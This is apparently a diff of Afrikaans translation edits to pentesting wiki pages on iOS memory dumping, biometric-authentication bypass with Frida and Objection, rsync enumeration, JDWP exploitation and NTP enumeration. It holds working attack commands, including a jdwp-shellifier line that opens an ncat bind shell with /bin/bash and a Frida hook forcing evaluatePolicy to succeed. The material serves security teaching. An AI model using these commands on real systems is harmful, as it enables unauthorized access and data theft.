Wanneer daar met sensitiewe inligting wat in 'n toepassing se geheue gestoor is, gewerk word, is dit van kardinale belang om die blootstellingstyd van hierdie data te beperk. Daar is twee primêre benaderings om geheue-inhoud te ondersoek: **'n geheue dump te skep** en **die geheue in werklike tyd te analiseer**. Beide metodes het hul uitdagings, insluitend die moontlikheid om kritieke data tydens die dump proses of analise te mis.
|
||||
|
||||
## **Herwin en Analiseer 'n Geheue Dump**
|
||||
## **Herwinning en Analise van 'n Geheue Dump**
|
||||
|
||||
Vir beide jailbroken en nie-jailbroken toestelle, toelaat gereedskap soos [objection](https://github.com/sensepost/objection) en [Fridump](https://github.com/Nightbringer21/fridump) die dumping van 'n app se proses geheue. Sodra dit gedump is, vereis die analise van hierdie data verskeie gereedskap, afhangende van die aard van die inligting waarna jy soek.
|
||||
|
||||
@ -693,18 +693,18 @@ $ r2 <name_of_your_dump_file>
|
||||
[0x00000000]> /?
|
||||
...
|
||||
```
|
||||
## **Runtime Geheue Analise**
|
||||
## **Runtime Memory Analysis**
|
||||
|
||||
**r2frida** bied 'n kragtige alternatief om 'n app se geheue in werklike tyd te inspekteer, sonder om 'n geheue dump nodig te hê. Hierdie hulpmiddel stel die uitvoering van soekopdragte direk op die lopende toepassing se geheue in staat:
|
||||
**r2frida** bied 'n kragtige alternatief om 'n app se geheue in werklike tyd te inspekteer, sonder om 'n geheue-dump te benodig. Hierdie hulpmiddel stel die uitvoering van soekopdragte direk op die lopende toepassing se geheue in staat:
|
||||
```bash
|
||||
$ r2 frida://usb//<name_of_your_app>
|
||||
[0x00000000]> /\ <search_command>
|
||||
```
|
||||
## Gebroke Kriptografie
|
||||
|
||||
### Swak Sleutelbestuurprosesse
|
||||
### Swak Sleutelbestuurproses
|
||||
|
||||
Sommige ontwikkelaars stoor sensitiewe data in die plaaslike stoor en enkripteer dit met 'n sleutel wat in die kode hardgecodeer/voorspelbaar is. Dit moet nie gedoen word nie, aangesien sommige omkering aanvallers kan toelaat om die vertroulike inligting te onttrek.
|
||||
Sommige ontwikkelaars stoor sensitiewe data in die plaaslike berging en enkripteer dit met 'n sleutel wat in die kode hardgecodeer/voorspelbaar is. Dit moet nie gedoen word nie, aangesien sommige omgekeerde ingenieurswese aanvallers kan toelaat om die vertroulike inligting te onttrek.
|
||||
|
||||
### Gebruik van Onveilige en/of Verouderde Algoritmes
|
||||
|
||||
@ -714,42 +714,42 @@ Ontwikkelaars moet nie **verouderde algoritmes** gebruik om autorisasie **kontro
|
||||
|
||||
Die hoofkontroles om uit te voer, is om te vind of jy **hardgecodeerde** wagwoorde/geheime in die kode kan vind, of as dit **voorspelbaar** is, en of die kode 'n soort **swak** **kriptografie** algoritmes gebruik.
|
||||
|
||||
Dit is interessant om te weet dat jy sommige **crypto** **biblioteke** outomaties kan **monitor** met **objection** met:
|
||||
Dit is interessant om te weet dat jy sommige **crypto** **biblioteke** outomaties kan **moniteer** met **objection** met:
|
||||
```swift
|
||||
ios monitor crypt
|
||||
```
|
||||
Vir **meer inligting** oor iOS-kryptografiese API's en biblioteke, toegang tot [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography)
|
||||
Vir **meer inligting** oor iOS-kodering-API's en biblioteke, toegang [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography)
|
||||
|
||||
## Plaaslike Verifikasie
|
||||
|
||||
**Plaaslike verifikasie** speel 'n belangrike rol, veral wanneer dit kom by die beskerming van toegang by 'n afgeleë eindpunt deur middel van kryptografiese metodes. Die essensie hier is dat sonder behoorlike implementering, plaaslike verifikasiemeganismes omseil kan word.
|
||||
**Plaaslike verifikasie** speel 'n belangrike rol, veral wanneer dit kom by die beskerming van toegang by 'n afgeleë eindpunt deur middel van koderingmetodes. Die essensie hier is dat sonder behoorlike implementering, plaaslike verifikasiesisteme omseil kan word.
|
||||
|
||||
Apple se [**Plaaslike Verifikasie-raamwerk**](https://developer.apple.com/documentation/localauthentication) en die [**sleutelsak**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) bied robuuste API's vir ontwikkelaars om gebruikersverifikasiedialoge te fasiliteer en veilig geheime data te hanteer, onderskeidelik. Die Veilige Enklave beveilig vingerafdruk-ID vir Touch ID, terwyl Face ID op gesigsherkenning staatmaak sonder om biometriese data in gevaar te stel.
|
||||
Apple se [**Plaaslike Verifikasie-raamwerk**](https://developer.apple.com/documentation/localauthentication) en die [**sleutelkettie**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) bied robuuste API's vir ontwikkelaars om gebruikersverifikasiedialoge te fasiliteer en veilig geheime data te hanteer, onderskeidelik. Die Veilige Enklave beveilig vingerafdruk-ID vir Touch ID, terwyl Face ID op gesigsherkenning staatmaak sonder om biometriese data in gevaar te stel.
|
||||
|
||||
Om Touch ID/Face ID te integreer, het ontwikkelaars twee API-keuses:
|
||||
|
||||
- **`LocalAuthentication.framework`** vir hoëvlak gebruikersverifikasie sonder toegang tot biometriese data.
|
||||
- **`Security.framework`** vir laevlak sleutelsakdienste toegang, wat geheime data beveilig met biometriese verifikasie. Verskeie [oopbron-wrapper](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) maak sleutelsaktoegang eenvoudiger.
|
||||
- **`Security.framework`** vir laevlak sleutelkettiedienste toegang, wat geheime data beveilig met biometriese verifikasie. Verskeie [oopbron-wrappers](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) maak sleutelkettie toegang eenvoudiger.
|
||||
|
||||
> [!CAUTION]
|
||||
> Dit gesê, beide `LocalAuthentication.framework` en `Security.framework` bied kwesbaarhede, aangesien hulle hoofsaaklik booleaanse waardes teruggee sonder om data vir verifikasieprosesse oor te dra, wat hulle vatbaar maak vir omseiling (verwys na [Don't touch me that way, deur David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)).
|
||||
> egter, beide `LocalAuthentication.framework` en `Security.framework` bied kwesbaarhede, aangesien hulle hoofsaaklik booleaanse waardes teruggee sonder om data vir verifikasieprosesse oor te dra, wat hulle vatbaar maak vir omseiling (verwys na [Don't touch me that way, deur David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)).
|
||||
|
||||
### Implementering van Plaaslike Verifikasie
|
||||
|
||||
Om gebruikers vir verifikasie te vra, moet ontwikkelaars die **`evaluatePolicy`** metode binne die **`LAContext`** klas gebruik, en kies tussen:
|
||||
|
||||
- **`deviceOwnerAuthentication`**: Vra vir Touch ID of toestelwachtwoord, en faal as geen van beide geaktiveer is nie.
|
||||
- **`deviceOwnerAuthentication`**: Vra vir Touch ID of toestel se toegangskode, en faal as geen van beide geaktiveer is nie.
|
||||
- **`deviceOwnerAuthenticationWithBiometrics`**: Vra eksklusief vir Touch ID.
|
||||
|
||||
'n Suksesvolle verifikasie word aangedui deur 'n booleaanse terugwaarde van **`evaluatePolicy`**, wat 'n potensiële sekuriteitsfout beklemtoon.
|
||||
'n Suksesvolle verifikasie word aangedui deur 'n booleaanse terugwaarde van **`evaluatePolicy`**, wat 'n potensiële sekuriteitsgebrek beklemtoon.
|
||||
|
||||
### Plaaslike Verifikasie met Sleutelsak
|
||||
### Plaaslike Verifikasie met Sleutelkettie
|
||||
|
||||
Die implementering van **plaaslike verifikasie** in iOS-apps behels die gebruik van **sleutelsak API's** om geheime data soos verifikasietokens veilig te stoor. Hierdie proses verseker dat die data slegs deur die gebruiker, met behulp van hul toestelwachtwoord of biometriese verifikasie soos Touch ID, toegang verkry kan word.
|
||||
Die implementering van **plaaslike verifikasie** in iOS-apps behels die gebruik van **sleutelkettie API's** om geheime data soos verifikasietokens veilig te stoor. Hierdie proses verseker dat die data slegs deur die gebruiker, met behulp van hul toestel se toegangskode of biometriese verifikasie soos Touch ID, toegang verkry kan word.
|
||||
|
||||
Die sleutelsak bied die vermoë om items met die `SecAccessControl` attribuut in te stel, wat toegang tot die item beperk totdat die gebruiker suksesvol deur Touch ID of toestelwachtwoord verifieer. Hierdie kenmerk is van kardinale belang om sekuriteit te verbeter.
|
||||
Die sleutelkettie bied die vermoë om items met die `SecAccessControl` attribuut in te stel, wat toegang tot die item beperk totdat die gebruiker suksesvol deur Touch ID of toestel se toegangskode verifieer. Hierdie kenmerk is van kardinale belang om sekuriteit te verbeter.
|
||||
|
||||
Hieronder is kodevoorbeelde in Swift en Objective-C wat demonstreer hoe om 'n string na/vanaf die sleutelsak te stoor en te onttrek, terwyl hierdie sekuriteitskenmerke benut word. Die voorbeelde toon spesifiek hoe om toegangbeheer op te stel om Touch ID-verifikasie te vereis en te verseker dat die data slegs op die toestel waaraan dit ingestel is, toeganklik is, onder die voorwaarde dat 'n toestelwachtwoord geconfigureer is.
|
||||
Hieronder is kodevoorbeelde in Swift en Objective-C wat demonstreer hoe om 'n string na/vanaf die sleutelkettie te stoor en te herwin, terwyl hierdie sekuriteitskenmerke benut word. Die voorbeelde toon spesifiek hoe om toegangbeheer op te stel om Touch ID-verifikasie te vereis en te verseker dat die data slegs op die toestel waaraan dit ingestel is, toeganklik is, onder die voorwaarde dat 'n toestel se toegangskode geconfigureer is.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Swift"}}
|
||||
@ -822,7 +822,7 @@ if (status == noErr) {
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
Nou kan ons die gestoor item van die sleutelring aan vra. Sleutelring dienste sal die verifikasiedialoog aan die gebruiker aanbied en data of nil teruggee, afhangende van of 'n geskikte vingerafdruk verskaf is of nie.
|
||||
Nou kan ons die gestoor item van die sleutelhouer aan vra. Sleutelhouer dienste sal die verifikasiedialoog aan die gebruiker aanbied en data of nil teruggee, afhangende van of 'n geskikte vingerafdruk verskaf is of nie.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Swift"}}
|
||||
@ -876,7 +876,7 @@ NSLog(@"Something went wrong");
|
||||
|
||||
### Opsporing
|
||||
|
||||
Die gebruik van raamwerke in 'n app kan ook opgespoor word deur die app se binêre se lys van gedeelde dinamiese biblioteke te analiseer. Dit kan gedoen word deur `otool` te gebruik:
|
||||
Die gebruik van raamwerke in 'n app kan ook opgespoor word deur die lys van gedeelde dinamiese biblioteke van die app-binary te analiseer. Dit kan gedoen word deur `otool` te gebruik:
|
||||
```bash
|
||||
$ otool -L <AppName>.app/<AppName>
|
||||
```
|
||||
@ -885,13 +885,13 @@ As `LocalAuthentication.framework` in 'n app gebruik word, sal die uitvoer beide
|
||||
/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
|
||||
/System/Library/Frameworks/Security.framework/Security
|
||||
```
|
||||
As `Security.framework` gebruik word, sal slegs die tweede een vertoon word.
|
||||
If `Security.framework` gebruik word, sal slegs die tweede een vertoon word.
|
||||
|
||||
### Plaaslike Verifikasie Raamwerk Omseiling
|
||||
|
||||
#### **Objection**
|
||||
|
||||
Deur die **Objection Biometrics Bypass**, geleë op [hierdie GitHub-bladsy](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), is 'n tegniek beskikbaar om die **LocalAuthentication** meganisme te oorkom. Die kern van hierdie benadering behels die gebruik van **Frida** om die `evaluatePolicy` funksie te manipuleer, wat verseker dat dit konsekwent 'n `True` uitkoms lewer, ongeag die werklike verifikasie sukses. Dit is veral nuttig om gebrekkige biometriese verifikasieprosesse te omseil.
|
||||
Deur die **Objection Biometriese Omseiling**, geleë op [hierdie GitHub-bladsy](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), is 'n tegniek beskikbaar om die **LocalAuthentication** meganisme te oorkom. Die kern van hierdie benadering behels die gebruik van **Frida** om die `evaluatePolicy` funksie te manipuleer, wat verseker dat dit konsekwent 'n `True` uitkoms lewer, ongeag die werklike verifikasie sukses. Dit is veral nuttig om gebrekkige biometriese verifikasieprosesse te omseil.
|
||||
|
||||
Om hierdie omseiling te aktiveer, word die volgende opdrag gebruik:
|
||||
```bash
|
||||
@ -902,7 +902,7 @@ Om hierdie omseiling te aktiveer, word die volgende opdrag gebruik:
|
||||
(agent) [3mhtws9x47q] Marking OS response as True instead
|
||||
(agent) [3mhtws9x47q] Biometrics bypass hook complete
|
||||
```
|
||||
Hierdie opdrag stel 'n reeks in werking waar Objection 'n taak registreer wat effektief die uitkoms van die **`evaluatePolicy`** kontrole na `True` verander.
|
||||
Hierdie opdrag stel 'n reeks in werking waar Objection 'n taak registreer wat effektief die uitkoms van die `evaluatePolicy` kontrole na `True` verander.
|
||||
|
||||
#### Frida
|
||||
|
||||
@ -934,9 +934,9 @@ dispatch_async(dispatch_get_main_queue(), ^{
|
||||
}
|
||||
}
|
||||
```
|
||||
Om die **bypass** van Plaaslike Verifikasie te bereik, word 'n Frida-skrip geskryf. Hierdie skrip teiken die **evaluatePolicy** kontrole, wat sy terugroep onderbreek om te verseker dat dit **success=1** teruggee. Deur die gedrag van die terugroep te verander, word die verifikasiekontrole effektief omseil.
|
||||
Om die **bypass** van Plaaslike Verifikasie te bereik, word 'n Frida-skrip geskryf. Hierdie skrip teiken die **evaluatePolicy** kontrole, wat sy terugroep onderbreek om te verseker dat dit **success=1** teruggee. Deur die gedrag van die terugroep te verander, word die verifikasietoets effektief omseil.
|
||||
|
||||
Die onderstaande skrip word ingespuit om die resultaat van die **evaluatePolicy** metode te verander. Dit verander die terugroep se resultaat om altyd sukses aan te dui.
|
||||
Die skrip hieronder word ingespuit om die resultaat van die **evaluatePolicy** metode te verander. Dit verander die terugroep se resultaat om altyd sukses aan te dui.
|
||||
```swift
|
||||
// from https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/
|
||||
if(ObjC.available) {
|
||||
@ -1008,7 +1008,7 @@ ios-serialisation-and-encoding.md
|
||||
|
||||
## Netwerk Kommunikasie
|
||||
|
||||
Dit is belangrik om te kontroleer dat daar geen kommunikasie plaasvind **sonder versleuteling** nie en ook dat die toepassing korrek **die TLS sertifikaat** van die bediener valideer.\
|
||||
Dit is belangrik om te kontroleer dat daar geen kommunikasie plaasvind **sonder versleuteling** nie en ook dat die toepassing korrek **die TLS sertifikaat** van die bediener **valideer**.\
|
||||
Om hierdie tipe probleme te kontroleer, kan jy 'n proxy soos **Burp** gebruik:
|
||||
|
||||
{{#ref}}
|
||||
@ -1018,12 +1018,12 @@ burp-configuration-for-ios.md
|
||||
### Gasheernaam kontrole
|
||||
|
||||
Een algemene probleem met die validasie van die TLS sertifikaat is om te kontroleer dat die sertifikaat deur 'n **betroubare** **CA** onderteken is, maar **nie te kontroleer** of **die gasheernaam** van die sertifikaat die gasheernaam is wat toeganklik is nie.\
|
||||
Om hierdie probleem met Burp te kontroleer, nadat jy Burp CA op die iPhone vertrou het, kan jy **'n nuwe sertifikaat met Burp vir 'n ander gasheernaam skep** en dit gebruik. As die toepassing steeds werk, dan is dit kwesbaar.
|
||||
Om hierdie probleem met Burp te kontroleer, nadat jy Burp CA op die iPhone vertrou het, kan jy **'n nuwe sertifikaat met Burp vir 'n ander gasheernaam skep** en dit gebruik. As die toepassing steeds werk, dan is daar iets wat kwesbaar is.
|
||||
|
||||
### Sertifikaat Pinning
|
||||
|
||||
As 'n toepassing korrek SSL Pinning gebruik, sal die toepassing slegs werk as die sertifikaat die verwagte een is. Wanneer jy 'n toepassing toets, **kan dit 'n probleem wees aangesien Burp sy eie sertifikaat sal dien.**\
|
||||
Om hierdie beskerming binne 'n jailbreak toestel te omseil, kan jy die toepassing [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) installeer of [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device) installeer.
|
||||
Om hierdie beskerming binne 'n jailbroken toestel te omseil, kan jy die toepassing [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) installeer of [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device) installeer.
|
||||
|
||||
Jy kan ook **objection's** `ios sslpinning disable` gebruik.
|
||||
|
||||
@ -1046,13 +1046,13 @@ Vir hierdie doel word gewoonlik [**JSPatch**](https://github.com/bang590/JSPatch
|
||||
|
||||
### Derde Partye
|
||||
|
||||
'n Beduidende uitdaging met **3de party SDK's** is die **gebrek aan fyn beheer** oor hul funksies. Ontwikkelaars staan voor 'n keuse: of om die SDK te integreer en al sy funksies te aanvaar, insluitend potensiële sekuriteitskwesbaarhede en privaatheidskwessies, of om die voordele daarvan heeltemal te verwerp. Dikwels is ontwikkelaars nie in staat om kwesbaarhede binne hierdie SDK's self te patch nie. Verder, soos SDK's vertroue binne die gemeenskap verkry, kan sommige begin om malware te bevat.
|
||||
'n Beduidende uitdaging met **3de party SDK's** is die **gebrek aan granulaire beheer** oor hul funksies. Ontwikkelaars staan voor 'n keuse: of om die SDK te integreer en al sy funksies te aanvaar, insluitend potensiële sekuriteitskwesbaarhede en privaatheidskwessies, of om die voordele daarvan heeltemal te verwerp. Dikwels is ontwikkelaars nie in staat om kwesbaarhede binne hierdie SDK's self te patch nie. Verder, soos SDK's vertroue binne die gemeenskap verkry, kan sommige begin om malware te bevat.
|
||||
|
||||
Die dienste wat deur derdeparty SDK's verskaf word, kan gebruikersgedragopsporing, advertensie vertonings of gebruikerservaring verbeterings insluit. Dit stel egter 'n risiko in, aangesien ontwikkelaars dalk nie ten volle bewus is van die kode wat deur hierdie biblioteke uitgevoer word nie, wat kan lei tot potensiële privaatheids- en sekuriteitsrisiko's. Dit is van kardinale belang om die inligting wat met derdeparty dienste gedeel word, te beperk tot wat nodig is en te verseker dat geen sensitiewe data blootgestel word nie.
|
||||
Die dienste wat deur derdeparty SDK's verskaf word, kan gebruikersgedragopsporing, advertensie vertonings of gebruikerservaring verbeterings insluit. Dit stel egter 'n risiko in, aangesien ontwikkelaars dalk nie ten volle bewus is van die kode wat deur hierdie biblioteke uitgevoer word nie, wat lei tot potensiële privaatheids- en sekuriteitsrisiko's. Dit is van kardinale belang om die inligting wat met derdeparty dienste gedeel word, te beperk tot wat nodig is en te verseker dat geen sensitiewe data blootgestel word nie.
|
||||
|
||||
Die implementering van derdeparty dienste kom gewoonlik in twee vorme: 'n standalone biblioteek of 'n volledige SDK. Om gebruikersprivaatheid te beskerm, moet enige data wat met hierdie dienste gedeel word, **geanonimiseer** word om die bekendmaking van Persoonlik Identifiseerbare Inligting (PII) te voorkom.
|
||||
Die implementering van derdeparty dienste kom gewoonlik in twee vorme: 'n standalone biblioteek of 'n volledige SDK. Om gebruikersprivaatheid te beskerm, moet enige data wat met hierdie dienste gedeel word, **geanonimiseer** word om die bekendmaking van Persoonlike Identifiseerbare Inligting (PII) te voorkom.
|
||||
|
||||
Om die biblioteke wat 'n toepassing gebruik, te identifiseer, kan die **`otool`** opdrag gebruik word. Hierdie hulpmiddel moet teen die toepassing en elke gedeelde biblioteek wat dit gebruik, uitgevoer word om addisionele biblioteke te ontdek.
|
||||
Om die biblioteke wat 'n toepassing gebruik te identifiseer, kan die **`otool`** opdrag gebruik word. Hierdie hulpmiddel moet teen die toepassing en elke gedeelde biblioteek wat dit gebruik, uitgevoer word om addisionele biblioteke te ontdek.
|
||||
```bash
|
||||
otool -L <application_path>
|
||||
```
|
||||
|
@ -4,18 +4,18 @@
|
||||
|
||||
## **Basiese Inligting**
|
||||
|
||||
From [wikipedia](https://en.wikipedia.org/wiki/Rsync):
|
||||
Van [wikipedia](https://en.wikipedia.org/wiki/Rsync):
|
||||
|
||||
> **rsync** is 'n nut vir doeltreffende [transferring](https://en.wikipedia.org/wiki/File_transfer) en [synchronizing](https://en.wikipedia.org/wiki/File_synchronization) [files](https://en.wikipedia.org/wiki/Computer_file) tussen 'n rekenaar en 'n eksterne hardeskyf en oor [networked](https://en.wikipedia.org/wiki/Computer_network) [computers](https://en.wikipedia.org/wiki/Computer) deur die [modification times](<https://en.wikipedia.org/wiki/Timestamping_(computing)>) en groottes van lêers te vergelyk.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) Dit word algemeen op [Unix-like](https://en.wikipedia.org/wiki/Unix-like) [operating systems](https://en.wikipedia.org/wiki/Operating_system) aangetref. Die rsync-algoritme is 'n tipe van [delta encoding](https://en.wikipedia.org/wiki/Delta_encoding), en word gebruik om netwerkgebruik te minimaliseer. [Zlib](https://en.wikipedia.org/wiki/Zlib) kan gebruik word vir addisionele [data compression](https://en.wikipedia.org/wiki/Data_compression),[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) en [SSH](https://en.wikipedia.org/wiki/Secure_Shell) of [stunnel](https://en.wikipedia.org/wiki/Stunnel) kan gebruik word vir sekuriteit.
|
||||
> **rsync** is 'n nut vir doeltreffende [oorplasing](https://en.wikipedia.org/wiki/File_transfer) en [synchronisering](https://en.wikipedia.org/wiki/File_synchronization) van [lêers](https://en.wikipedia.org/wiki/Computer_file) tussen 'n rekenaar en 'n eksterne hardeskyf en oor [netwerk](https://en.wikipedia.org/wiki/Computer_network) [rekenaars](https://en.wikipedia.org/wiki/Computer) deur die [wysigings tye](<https://en.wikipedia.org/wiki/Timestamping_(computing)>) en groottes van lêers te vergelyk.[\[3\]](https://en.wikipedia.org/wiki/Rsync#_note-man_page-3) Dit word algemeen op [Unix-agtige](https://en.wikipedia.org/wiki/Unix-like) [bedryfstelsels](https://en.wikipedia.org/wiki/Operating_system) aangetref. Die rsync-algoritme is 'n tipe van [delta-kodering](https://en.wikipedia.org/wiki/Delta_encoding), en word gebruik om netwerkgebruik te minimaliseer. [Zlib](https://en.wikipedia.org/wiki/Zlib) kan gebruik word vir addisionele [data-kompressie](https://en.wikipedia.org/wiki/Data_compression),[\[3\]](https://en.wikipedia.org/wiki/Rsync#_note-man_page-3) en [SSH](https://en.wikipedia.org/wiki/Secure_Shell) of [stunnel](https://en.wikipedia.org/wiki/Stunnel) kan gebruik word vir sekuriteit.
|
||||
|
||||
**Standaard poort:** 873
|
||||
```
|
||||
PORT STATE SERVICE REASON
|
||||
873/tcp open rsync syn-ack
|
||||
```
|
||||
## Opname
|
||||
## Enumerasie
|
||||
|
||||
### Banier & Handmatige kommunikasie
|
||||
### Banner & Handmatige kommunikasie
|
||||
```bash
|
||||
nc -vn 127.0.0.1 873
|
||||
(UNKNOWN) [127.0.0.1] 873 (rsync) open
|
||||
@ -39,7 +39,7 @@ raidroot
|
||||
```
|
||||
### **Opname van Gedeelde Mappe**
|
||||
|
||||
**Rsync modules** word erken as **gedeelde gidse** wat moontlik **met wagwoorde beskerm** is. Om beskikbare modules te identifiseer en te kyk of hulle wagwoorde benodig, word die volgende opdragte gebruik:
|
||||
**Rsync modules** word erken as **gedeelde direkteure** wat moontlik **met wagwoorde beskerm word**. Om beskikbare modules te identifiseer en te kyk of hulle wagwoorde benodig, word die volgende opdragte gebruik:
|
||||
```bash
|
||||
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
|
||||
msf> use auxiliary/scanner/rsync/modules_list
|
||||
@ -47,13 +47,13 @@ msf> use auxiliary/scanner/rsync/modules_list
|
||||
# Example with IPv6 and alternate port
|
||||
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
|
||||
```
|
||||
Wees bewus dat sommige gedeeltes dalk nie in die lys verskyn nie, wat hulle moontlik verberg. Daarbenewens kan toegang tot sommige gedeeltes beperk wees tot spesifieke **akkrediteer** wat aangedui word deur 'n **"Toegang Weier"** boodskap.
|
||||
Wees bewus dat sommige gedeeltes dalk nie in die lys verskyn nie, moontlik omdat hulle versteek is. Daarbenewens kan toegang tot sommige gedeeltes beperk wees tot spesifieke **credentials**, aangedui deur 'n **"Access Denied"** boodskap.
|
||||
|
||||
### [**Brute Force**](../generic-hacking/brute-force.md#rsync)
|
||||
|
||||
### Handmatige Rsync Gebruik
|
||||
|
||||
Na die verkryging van 'n **module lys**, hang aksies af van of verifikasie nodig is. Sonder verifikasie kan **lys** en **kopieer** van lêers van 'n gedeelde gids na 'n plaaslike gids bereik word deur:
|
||||
Sodra 'n **module lys** verkry is, hang aksies af van of verifikasie nodig is. Sonder verifikasie kan **lys** en **kopieer** van lêers van 'n gedeelde gids na 'n plaaslike gids bereik word deur:
|
||||
```bash
|
||||
# Listing a shared folder
|
||||
rsync -av --list-only rsync://192.168.0.123/shared_name
|
||||
@ -61,7 +61,7 @@ rsync -av --list-only rsync://192.168.0.123/shared_name
|
||||
# Copying files from a shared folder
|
||||
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
|
||||
```
|
||||
Hierdie proses **herhalend oordra lêers**, terwyl hulle se attributes en toestemmings behou word.
|
||||
Hierdie proses **herhalend oordra lêers**, ter behoud van hul eienskappe en toestemmings.
|
||||
|
||||
Met **akkrediteeringe** kan lys en aflaai van 'n gedeelde gids soos volg gedoen word, waar 'n wagwoordprompt sal verskyn:
|
||||
```bash
|
||||
@ -78,7 +78,7 @@ Om die rsyncd konfigurasie lêer te vind, voer uit:
|
||||
```bash
|
||||
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
|
||||
```
|
||||
Binne hierdie lêer kan 'n _secrets file_ parameter na 'n lêer verwys wat **gebruikersname en wagwoorde** vir rsyncd outentisering bevat.
|
||||
Binne hierdie lêer kan 'n _secrets file_ parameter na 'n lêer verwys wat **gebruikersname en wagwoorde** vir rsyncd-outeentifikasie bevat.
|
||||
|
||||
## Verwysings
|
||||
|
||||
|
@ -2,13 +2,14 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Exploiting
|
||||
|
||||
JDWP-uitbuiting hang af van die **protokol se gebrek aan outentisering en versleuteling**. Dit word algemeen op **poort 8000** gevind, maar ander poorte is moontlik. Die aanvanklike verbinding word gemaak deur 'n "JDWP-Handshake" na die teikenpoort te stuur. As 'n JDWP-diens aktief is, antwoord dit met dieselfde string, wat sy teenwoordigheid bevestig. Hierdie handshake dien as 'n vingerafdrukmetode om JDWP-dienste op die netwerk te identifiseer.
|
||||
|
||||
In terme van prosesidentifikasie, kan die soek van die string "jdwk" in Java-prosesse 'n aktiewe JDWP-sessie aandui.
|
||||
In terme van prosesidentifikasie, kan die soek na die string "jdwk" in Java-prosesse 'n aktiewe JDWP-sessie aandui.
|
||||
|
||||
Die gereedskap van keuse is [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier). Jy kan dit met verskillende parameters gebruik:
|
||||
Die gereedskap is [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier). Jy kan dit met verskillende parameters gebruik:
|
||||
```bash
|
||||
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
|
||||
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
|
||||
@ -31,7 +32,7 @@ Ek het gevind dat die gebruik van `--break-on 'java.lang.String.indexOf'` die ui
|
||||
|
||||
3. **JDWP Kommunikasie**:
|
||||
|
||||
- Boodskappe het 'n eenvoudige struktuur met velde soos Lengte, Id, Vlag, en CommandSet.
|
||||
- Berigte het 'n eenvoudige struktuur met velde soos Lengte, Id, Vlag, en CommandSet.
|
||||
- CommandSet waardes wissel van 0x40 tot 0x80, wat verskillende aksies en gebeurtenisse verteenwoordig.
|
||||
|
||||
4. **Uitbuiting**:
|
||||
@ -56,7 +57,7 @@ Ek het gevind dat die gebruik van `--break-on 'java.lang.String.indexOf'` die ui
|
||||
- [http://www.shodanhq.com/search?q=JDWP-HANDSHAKE](http://www.shodanhq.com/search?q=JDWP-HANDSHAKE)
|
||||
- http://www.hsc-news.com/archives/2013/000109.html (no longer active)
|
||||
- [http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt](http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt)
|
||||
- https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults
|
||||
- [https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults](https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults)
|
||||
- [http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html](http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html)
|
||||
- [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html](http://docs.oracle.com)
|
||||
- [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html)
|
||||
|
@ -13,8 +13,8 @@ Die **Network Time Protocol (NTP)** verseker dat rekenaars en netwerktoestelle o
|
||||
- **Sekuriteitsmaatreëls**:
|
||||
- Gebruik vertroude NTP of NTS (Network Time Security) bronne met outentikasie.
|
||||
- Beperk wie die daemon kan vra/beveel (``restrict default noquery``, ``kod`` ens.).
|
||||
- Deaktiveer erflating Mode-6/7 kontrole vrae (``monlist``, ``ntpdc``) of beperk hulle se tempo.
|
||||
- Monitor sinkronisasie-afwyking/leap-second toestand vir manipulasie.
|
||||
- Deaktiveer erflating Mode-6/7 kontrole vrae (``monlist``, ``ntpdc``) of beperk hul tempo.
|
||||
- Monitor sinkronisasie-afwyking/leap-sekonde toestand vir manipulasie.
|
||||
- Hou die daemon opgedateer (sien onlangse CVEs hieronder).
|
||||
|
||||
**Standaard poorte**
|
||||
@ -51,7 +51,7 @@ chronyc -a -n tracking -h <IP>
|
||||
chronyc -a -n sources -v -h <IP>
|
||||
